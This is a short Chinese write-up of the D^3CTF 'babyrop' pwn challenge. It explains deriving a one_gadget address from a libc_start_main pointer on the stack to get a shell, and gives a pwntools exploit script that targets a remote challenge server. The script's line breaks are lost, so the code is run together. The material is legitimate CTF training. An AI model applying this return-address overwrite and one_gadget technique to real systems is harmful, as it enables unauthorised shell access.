D^3CTF babyrop 经验总结 PWN

思路：
调试时发现在栈中有一个libc_start_main的地址

文章图片

可以根据这个地址算出距one_gadget 的偏移

文章图片

得到这个偏移后再让libc_start_main这个地址加上这个偏移即可得到one_gaget的地址，之后再用这个地址覆盖ret即可getshell，需要注意的是要满足one_gadget的约束条件，我选则的是偏移为0x4526a 处的one_gadget, 所以需要保证[rsp + 0x30] == NULL 满足
调用的相关函数：
使栈中的数据相加

文章图片

调整 “栈指针”, 使"栈指针"想上移动

文章图片

向栈中写入零

文章图片

还需要注意的是检查的数据的类型是无符号数，在多次调用0x28指令后
前三个入栈的指令都无法执行，所以要通过其它指令来达到写零与覆写ret的目的

文章图片

【D^3CTF babyrop 经验总结】EXP：

from pwn import *context(arch='amd64', os='linux', terminal=['tmux', 'splitw', '-h']) context.log_level='debug' debug = 1 d = 1execve = "./babyrop" if debug == 1: p = process(execve) if d == 1: gdb.attach(p) else: p = remote("106.54.67.184", 15924)#0x28 -> *(_DWORD*)(a3 + 16) = 0 #0x42 -> *a1 - 8 #0x34 -> *a1 - 8, copy stack datapayload = '\x28\x28\x28' + '\x34'*12 + '\x56' + p32(0x24a3a) + '\x21' + '\x34\x34\x34\x34\x34' p.sendline(payload)''' 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL '''raw_input()p.interactive()

复现结果：

文章图片

D^3CTF babyrop 经验总结

推荐阅读

rpm是什么单位代表什么意思 rpm可以怎么理解

s曲线行驶方向盘打法如何s线行驶技巧视频，科目二走s弯技巧

抖音如何拍摄抖动特效视频抖音的特效视频怎么拍

荔枝怎么洗才干净荔枝如何洗比较干净

为什么有大年和小年之分有大年和小年之分的原因

简组词取名得分99分

乡村爱情长贵怎么没了乡村爱情长贵死没

两步打造柔美的暖色花景人物图片

晾衣架挑选方法是什么晾衣架怎么挑选

印先森口袋打印机有哪些功能？印先森口袋打印机怎么样

京东白条老板是谁？日前京东白条创始人辞职！

加油

桂花果泡酒要不要晒干

低乳糖牛奶有哪些品牌

《黑羊》游戏职业开锁人实习成就怎么玩？职业开锁人实习成就玩法一览

苹果图标怎么变小，苹果笔记本图标怎么调小

如何为亿联电脑服务器安装操作系统？亿联电脑服务器怎么装系统

潍坊医学院和山东第一医科大学哪个好？

晚清四大名臣是谁晚清四大名臣指的是

国外用佳能7d拍摄电影怎么样国外用佳能7d拍摄电影